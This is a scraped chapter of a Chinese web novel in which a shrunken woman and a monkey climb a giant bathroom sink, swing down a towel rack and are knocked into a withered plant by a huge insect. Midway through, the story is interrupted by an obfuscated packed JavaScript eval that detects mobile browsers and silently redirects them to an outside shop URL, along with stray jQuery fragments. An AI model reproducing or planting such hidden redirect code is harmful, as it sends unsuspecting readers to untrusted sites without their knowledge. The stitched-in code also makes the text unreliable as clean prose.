文趣网 > 都市小说 > 如何在原始丛林生存 > 65. 第 65 章
    洗手台的侧壁和浴缸的一端是衔接紧密的一整块瓷砖,可见同样花色的大理石纹,程羽觉得那像一张狰狞呐喊的鬼脸,粗看一眼就让人心理不适。

    而且这块侧壁是完全垂直的,目测七八米高,有些地方挂着水滴样干涸的灰色浊物,对于攀爬并无什么帮助。

    不过程羽过来的时候就已经看好了路线,就在侧壁的旁侧,墙上有一根水管,Z字形,中间一段几乎紧贴着洗手台侧壁,左端没入墙中,右端则延续到洗手台上。

    她打算从这里爬上去,借助水管上一段一段的固定扣,她还能得到歇脚的机会。

    爬管过程难度略高于爬树,但在技术上本身没有太大区别,程羽是废了点力气,总体还算顺利。

    猴子在攀爬这件事上更是没什么要说的,跟着程羽上到洗手台的盆面,按耐不住地左右张望,不过这次学会了老实,没再敢去扒拉那个差不多样式的水龙头了。

    程羽也在观察。

    台面比不过浴缸,但也很大,边缘圆润,盆口内凹,造型有点像海盗船,里头空的。

    水龙头边上倒着一只绿色的磨砂玻璃杯子,这是程羽之前完全没发现的。

    另一侧还有一只皂盒,盛着一小块薄荷绿色的肥皂,边角干裂出灰白色的细纹,像一块久旱的盐地。

    程羽小心绕过杯子,走去肥皂的边上。

    这台面竟然不是完全平整的,有两个凹槽。对于使用者而言一定是讨人厌的积水洼,对于现在的程羽而言,就称得上烂泥地了。

    薄灰直接没过脚踝,踩上去既松又涩,她的脚底还触碰到了一些硬块,谁知道是什么东西,清洁剂淡淡的青草香气和灰尘水垢的陈旧怪味混合在一起,稍有些动作惊扰它们,鼻子就痒得不行。

    猴子已经打了三个喷嚏,身后的尾巴百无聊赖地在空中抽打,被程羽转过头警告地看了一眼,立即警觉地将尾巴抱进怀中,也不敢东张西望了,学着程羽蹑手蹑脚路过杯子,生怕将这个杯口已经卡在干涸污垢的玻璃玩意推下台盆。

    水龙头从杯子的后方弓出来,银亮的弧线宛如一座简洁的小桥。

    程羽顺着边缘看了一眼同样积灰的盆底,中央那个漏口的旋盖不知哪去了,看上去黑黢黢的,像一口深不可测的井。

    这里也会有一条通道吗?联通另一个古怪的冰壁迷宫,有一个机器人守卫着,再往外是岛屿、大海,以及风雪和岩浆?

    程羽收回目光,并不打算亲身去试那地方有多深。

    转而爬上肥皂台,掏出了骨刀。

    猴子歪了歪脑袋。

    切肥皂的手感其实挺解压,就算这块肥皂大得出奇,需要整个人爬上去,用全身的重量压着刀刃向下拉,也一样。

    最外层的皂干涸发硬,要戳进去必须费些力气,但刺破这层脆壳之后,里头的肥皂手感奇特,很难形容,回过神来,就已经削下来了一长块,侧倒在肥皂盒中。

    程羽从大块肥皂上跳下来,继续解剖肥皂,只挑选最中间最干净的部分,切出来几个巴掌大的小块,拿起一块闻了闻。

    确实是青草香气,混着一丢丢薄荷的清新,味道很自然,没有一点工业添加的怪味。不知道这间浴室上次被使用是多久之前,但就这块肥皂而言,还能用。

    又从包里翻找出来塑料袋,装过香叶但没舍得丢的,再次派上用场,程羽拿它把香皂装了,丢进包里,继续往前,走到洗手台的另一侧边沿。

    这里的位置差不对正对那扇半开的推拉门,程羽一直有在观察那边的情况,不过令她失望的是,五路如何调整视角,看到的仍然只有书架。

    那些看上去只是绿色色块的书脊,墨绿、苔绿、灰绿、松针绿,深浅不一,像把一整片森林切成了规整的长方体,排进格子里。

    这外面,不会只有书架吧?

    压下心头的怀疑,程羽低头张望离开的路线。

    洗手台比浴缸的高度更甚,但是不同于那边绝对的垂直壁面,这里还有一些其他的摆设,或许可以利用。

    她第一眼看中的就是侧壁上的毛巾架,端头略带锈迹的钢杆比之台面更低,水平距离约有三四米,上面挂着一块灰扑扑的擦手巾,不知道原本是什么颜色。

    程羽探出脑袋去看,垂下的布角离地还有一截,但如果能拽住这块布,有一定的缓冲效果,应该就能落到旁边的一根矮凳上。

    那只圆形矮凳的坐垫看上去非常厚实,墨绿色的海绵面积满了灰尘,固定海绵的圆扣完好无缺,线条将坐垫分割成一块一块苔藓湖的模样。

    不过这条路线的危险也是明摆着,程羽可不是打戏出身的动作明星,万一跳下去没对准,失了手没拽住布巾,又或者悬荡的时候出了什么岔子,还不得直接摔成粉身碎骨。

    另外,她的视线往斜下方延伸,浅灰色的陶盆就摆放在铁架上。

    里头的观赏植物枯萎不知多时,盆沿积着一圈厚灰与干硬的泥皮,垂落的枯叶又长又窄,两侧边缘卷曲,可见细长的针状结构,叶片中间凹陷积灰,最长的那几条已然伸到了矮凳的上方,就枯在那里。

    但,“总比直接跳下去强吧。”

    程羽打定了主意。

    或许骨子里就是有些冒险精神的,异世界的求生经历实实在在滋长了这种狂妄么?

    不,不。

    她不应该将这定义为狂妄。

    程羽退后几步,在灰里试着踩实落脚点,勉强形成一条短短的助跑线。

    她不是狂妄。

    猴子蹲在旁边,尾巴一甩一甩地看她,一声也没出。

    与其因为恐惧迈出下一步,就在这里困死,又或者放弃生命。

    程羽深吸了口气,往前冲了两步,带着势头,自然跃出。

    她只是,还想继续活。

    滞空感似乎因为物件被放大的尺寸一同拉得很长,四周飘浮着淡淡得陈旧气味,程羽的眼一下也不敢眨,紧紧地盯着越来越近的横杆,一点,还差一点,她猛地双手合抱,将自己险险挂在横杆上。

    金属发出轻微的晃动声,看似只有一丁点的晃动落在布头上,就是极为剧烈的震动,程羽头晕,手不敢松懈分毫,等那阵晃动过去,才缓出一口气。

    “好,接下来就是拽着这块毛巾,一点点往下降。”

    她在心里复述计划,试图通过语言的力量给予自身更多一点信心。

    这时,钢杆猛地一震。

    是那只猴子,它有样学样地跳了下来。

    程羽心道失策,她怎么又把这只猴子给忘了。

    不过还好,她还挂在杆上,没有开始自己的下落动作,便又调整了下自己的重心,朝着猴子比了往下的动作。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17569505|202163||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    猴子一爪卡在擦手巾的针织缝隙中,还能腾出另一只手挠了挠脑袋,也不知道懂了没有。

    程羽也没法管它更多,一点点挪到毛巾架的钢杆边缘,这样她就能抓住擦手巾的侧缘,然后,整个人脱离钢杆,往下坠去。

    如她预想的那样,降落很顺利。

    这块擦手巾上满满都是灰尘和干涸的污垢,以至于粗糙有如树皮,相对这造成的巨大摩擦力,程羽的重量仅仅只能带动它一点点往下滑。

    速度虽慢,但早晚能抵达下头的圆凳,然后她只需要动作快一点跳开,别被这擦手巾给活埋了就行。

    理想和计划总是漂亮的。

    可现实不是。

    大概降到三分之一的位置,布巾摩擦金属的声音持续不断,但渐渐离得远了,程羽做好了下落会因毛巾变长而加速的准备,但,她忽然听到了一个奇怪的低沉的,近似嗡鸣的声音。

    “MOMU?”

    来不及分辨这声音源自何方神圣,又蕴含什么意思,干涸发硬的擦手巾后头冒出来一团圆乎乎的黑影,扑扇着一对大翅膀,直直就冲着程羽撞来!

    程羽:!

    任谁被一脑袋数不清的复眼突然占据视野,都会被忽然吓一跳吧?!

    她甚至忘了松开手里的布巾,但躲避本身就是来不及的,分毫之间,她就被扑了个满怀,强大的冲力让布巾被动脱手,整个人也朝着后方飞去。

    这虫子竟然直接顶着她往斜上方飞去,可那后头,是长者钢针样毫毛的枯萎绿植!

    借程羽一个脑子,她也想不到会遇上这样的突发事件。

    这虫子身形圆润,脑袋以外的部分都长着细密的绒毛,褐色的,夹杂着诡异的荧光绿,程羽压根不敢拿手碰,只能去推虫子的大脑壳,却毫无作用。

    死沉!

    而视野两侧已经被横生的枯叶占据,就在程羽觉得自己会被顶到盆栽上,再被那些钢针毫毛扎成活生生刺猬的时候,虫子停了。

    “MOMU~”

    巨大的闷声响在耳边,自带回响,甚至能品出几份愉悦。

    程羽一点也不愉悦,没了往前往上的托力,她是自由了,可却根本没法抗拒另一种作用力,整个人从空中坠下,怎么挥动四肢都没法改变重力的吸引。

    “噗!”

    她大概还是有些幸运,身下正好是一片枯叶的凹槽,她险而又险地避开了上面密布的针尖,一屁股落在积灰之上,溅起的细尘顿时呛得人眼睛发酸。

    叶脉也在她重量下猛地一沉,发出干燥的轻响,狠狠弯下去,仿佛随时会从中折断。

    “MO!”

    虫子发出急促的声音,昂着那颗大脑袋就要往程羽的方向挤来,但它的块头太大,没法避开这些密集的枯叶,只能无助地扇动圆形的翅膀,在空中转了个圈。

    如不是身处这样的情景,程羽或许会觉得这家伙也有几分可爱在的吧?

    但她只能伸开手,小心撑住叶片边缘,避免自己在它断裂之前先滑下去——

    滑下去?

    她看着下方。

    这叶片天然下垂的趋势,就像一个高高的直道滑梯,指向她原本的目的地,那只绿色的海绵圆凳。凳子的一侧,擦手巾已经滑落在地,一只迷你猴子蹲坐在凳子上,正仰头看着她,“吱吱”地叫。